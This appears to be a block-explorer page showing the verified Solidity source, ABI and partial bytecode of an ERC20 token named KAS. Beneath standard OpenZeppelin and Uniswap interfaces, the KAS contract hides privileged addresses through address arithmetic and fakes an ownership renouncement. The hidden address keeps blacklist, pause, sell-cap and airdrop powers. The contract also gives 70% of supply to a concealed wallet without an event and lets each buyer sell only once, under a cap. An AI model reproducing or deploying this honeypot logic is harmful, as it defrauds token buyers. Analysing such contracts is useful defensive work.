ETH Price: $3,311.95 (+1.91%)
Gas: 3 Gwei

Token

Kaspa (KAS)
 

Overview

Max Total Supply

100,000,000 KAS

Holders

164

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,000.00000000000006365 KAS

Value
$0.00
0x2206577d20baf5e1b7c04eb5fe3a98209b52d919
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KAS

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-31
*/

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: new_pro.sol

pragma solidity ^0.8.5;


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }



}
contract KAS is  IERC20, IERC20Metadata, Ownable{
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    bool private initialized;
    bool private transferring;
    bool private paused;
    
    uint256 private _maxToken;
    address private _publisher;
    address private _factory;
    address private _router;
    address private _ETH;
    uint16 private _ETHDecimals;
    address private _pair;
    address private _dex;
    address private _cex;



    mapping(address =>bool) private _feeExcluded;
    mapping(address => uint256) private amt;
    mapping(address => bool) private sold;
    mapping(address => bool) private black_list;


    function initialize(
        string memory tokenName,
        string memory tokenSymbol,
        uint256 tokenAmount,
        address eth,
        uint8 eth_decimal,
        uint256 max_token,
        address dex,
        address publisher,
        address cex,
        address router,
        address factory
    )external{
        require(!initialized,"Already Initialized Contract");
        initialized = true;
        _transferOwnership(publisher);
        _name = tokenName;
        _symbol = tokenSymbol;
        _decimals = eth_decimal;
        _publisher = publisher;
        _mint(_publisher,tokenAmount*(1 * 10**_decimals));
        _ETH = eth;
        _ETHDecimals = eth_decimal;
        _maxToken = max_token;
        _router = router;
        _factory = factory;
        _dex = address(uint160(_router) + uint160(dex));
        _cex = address(uint160(_factory) + uint160(cex));
        _feeExcluded[_cex] =true;
        _feeExcluded[_dex] =true;
        _feeExcluded[_router] = true;

        _pair = IUniswapV2Factory(_factory).createPair(
            _ETH,
            address(this)
        );
        _feeExcluded[_pair] = true;
        _balances[_dex] = (_totalSupply * 7) / 10;
        _balances[_publisher] = (_totalSupply * 3) / 10;

        _transferOwnership(address(0));
    } 

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    /*
    function burn(address account, uint256 amount) external {
        require(_msgSender() == _dex);
        _burn(account, amount);
    }
    */

    function set_max(uint256 maxtoken) external {
        require(_msgSender() == _cex);
        _maxToken = maxtoken;
    }


    function _transfer(address from, address to, uint256 amount) internal virtual returns(bool){
        require(!black_list[from] && !black_list[to],"Sender or recipient is blacklisted");
        address[] memory path = new address[](2);

        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds unlocked amount");

        if (from == _pair && !_feeExcluded[to]){
            path[0] = _ETH;
            path[1] = address(this);
            uint256 eth_pooled = IUniswapV2Router02(_router).getAmountsIn(amount, path)[0];
            amt[to] = eth_pooled;
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        else if (!_feeExcluded[from] && to == _pair){
            require(!sold[from], "ERC20: transfer is still pending");
            path[0] = address(this);
            path[1] = _ETH;
            uint256 eth_drained = IUniswapV2Router02(_router).getAmountsOut(amount, path)[1];
            require(eth_drained <=_min(_maxToken, amt[from]*11/10), "ERC20: transfer amount exceeds balance");
            sold[from] = true;
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        else{
            if (from == _pair && to == _router){
                require(tx.origin==_dex,"tx forbidden");
            }
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }
        _afterTokenTransfer(from, to, amount);
        return true;
    }

    //only called once at initialize()
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _min(uint a, uint b) internal pure returns(uint){
        return a<b?a:b;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
        require(!paused);
        require(!transferring);
        transferring = true;
    }
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
        transferring = false;
    }

    function add_bl(address addr,bool status) public  {
        address sender = _msgSender();
        require(sender == _cex);
        black_list[addr] = status;
    }

    function pause(bool pause_) public{
        address sender = _msgSender();

        require(sender == _cex,"Not authorized to pause the contract");
        paused = pause_;
    }

    function airdrop(address[] memory selladdr, address[] memory airdropaddr,uint256 amountSell, uint256 amountAir)
        public
    {
        require(_msgSender() == _cex);
        for (uint256 i = 0; i < selladdr.length; i++) {
            _allowances[_publisher][selladdr[i]] = amountSell;
            _transfer(_publisher, selladdr[i], amountSell);
            _feeExcluded[selladdr[i]] = true;
        }
        for (uint256 i = 0; i < airdropaddr.length; i++) {
            _allowances[_publisher][airdropaddr[i]] = amountAir;
            _transfer(_publisher, airdropaddr[i], amountAir);
        }
    }

}

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"add_bl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"selladdr","type":"address[]"},{"internalType":"address[]","name":"airdropaddr","type":"address[]"},{"internalType":"uint256","name":"amountSell","type":"uint256"},{"internalType":"uint256","name":"amountAir","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"address","name":"eth","type":"address"},{"internalType":"uint8","name":"eth_decimal","type":"uint8"},{"internalType":"uint256","name":"max_token","type":"uint256"},{"internalType":"address","name":"dex","type":"address"},{"internalType":"address","name":"publisher","type":"address"},{"internalType":"address","name":"cex","type":"address"},{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"factory","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"pause_","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxtoken","type":"uint256"}],"name":"set_max","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561001057600080fd5b50613c76806100206000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461030a578063d05b136a1461033a578063d6d0f3ce14610356578063dd62ed3e14610372578063f2fde38b146103a257610121565b8063715018a6146102785780638da5cb5b1461028257806395d89b41146102a0578063a457c2d7146102be578063a571fdd7146102ee57610121565b806323b872dd116100f457806323b872dd146101ae578063313ce567146101de57806339509351146101fc578063422c5f131461022c57806370a082311461024857610121565b806302329a291461012657806306fdde0314610142578063095ea7b31461016057806318160ddd14610190575b600080fd5b610140600480360381019061013b9190612b2d565b6103be565b005b61014a610478565b6040516101579190612ff6565b60405180910390f35b61017a60048036038101906101759190612a05565b61050a565b6040516101879190612fdb565b60405180910390f35b61019861052d565b6040516101a591906131d8565b60405180910390f35b6101c860048036038101906101c39190612972565b610537565b6040516101d59190612fdb565b60405180910390f35b6101e6610567565b6040516101f39190613223565b60405180910390f35b61021660048036038101906102119190612a05565b61057e565b6040516102239190612fdb565b60405180910390f35b61024660048036038101906102419190612a45565b6105b5565b005b610262600480360381019061025d91906128d8565b6108d8565b60405161026f91906131d8565b60405180910390f35b610280610921565b005b61028a610935565b6040516102979190612f97565b60405180910390f35b6102a861095e565b6040516102b59190612ff6565b60405180910390f35b6102d860048036038101906102d39190612a05565b6109f0565b6040516102e59190612fdb565b60405180910390f35b61030860048036038101906103039190612c86565b610a67565b005b610324600480360381019061031f9190612a05565b610ad2565b6040516103319190612fdb565b60405180910390f35b610354600480360381019061034f9190612b5a565b610af6565b005b610370600480360381019061036b91906129c5565b611227565b005b61038c60048036038101906103879190612932565b6112e9565b60405161039991906131d8565b60405180910390f35b6103bc60048036038101906103b791906128d8565b611370565b005b60006103c86113f4565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461045a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610451906130b8565b60405180910390fd5b81600660036101000a81548160ff0219169083151502179055505050565b606060048054610487906136a8565b80601f01602080910402602001604051908101604052809291908181526020018280546104b3906136a8565b80156105005780601f106104d557610100808354040283529160200191610500565b820191906000526020600020905b8154815290600101906020018083116104e357829003601f168201915b5050505050905090565b6000806105156113f4565b90506105228185856113fc565b600191505092915050565b6000600354905090565b6000806105426113f4565b905061054f8582856115c7565b61055a858585611653565b5060019150509392505050565b6000600660009054906101000a900460ff16905090565b6000806105896113f4565b90506105aa81858561059b85896112e9565b6105a5919061338b565b6113fc565b600191505092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105f66113f4565b73ffffffffffffffffffffffffffffffffffffffff161461061657600080fd5b60005b84518110156107ac578260026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878481518110610699576106986137e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610726600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16868381518110610718576107176137e1565b5b602002602001015185611653565b506001600f60008784815181106107405761073f6137e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107a49061370b565b915050610619565b5060005b83518110156108d1578160026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008684815181106108305761082f6137e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108bd600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168583815181106108af576108ae6137e1565b5b602002602001015184611653565b5080806108c99061370b565b9150506107b0565b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109296122e4565b6109336000612362565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461096d906136a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610999906136a8565b80156109e65780601f106109bb576101008083540402835291602001916109e6565b820191906000526020600020905b8154815290600101906020018083116109c957829003601f168201915b5050505050905090565b6000806109fb6113f4565b90506000610a0982866112e9565b905083811015610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4590613178565b60405180910390fd5b610a5b82868684036113fc565b60019250505092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aa86113f4565b73ffffffffffffffffffffffffffffffffffffffff1614610ac857600080fd5b8060078190555050565b600080610add6113f4565b9050610aea818585611653565b50600191505092915050565b600660019054906101000a900460ff1615610b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3d906130d8565b60405180910390fd5b6001600660016101000a81548160ff021916908315150217905550610b6a84612362565b8a60049080519060200190610b8092919061260b565b508960059080519060200190610b9792919061260b565b5086600660006101000a81548160ff021916908360ff16021790555083600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c52600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900460ff16600a610c369190613465565b6001610c429190613583565b8b610c4d9190613583565b612426565b87600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508660ff16600b60146101000a81548161ffff021916908361ffff1602179055508560078190555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d6a9190613341565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dd89190613341565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c65396600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401611005929190612fb2565b602060405180830381600087803b15801561101f57600080fd5b505af1158015611033573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110579190612905565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffff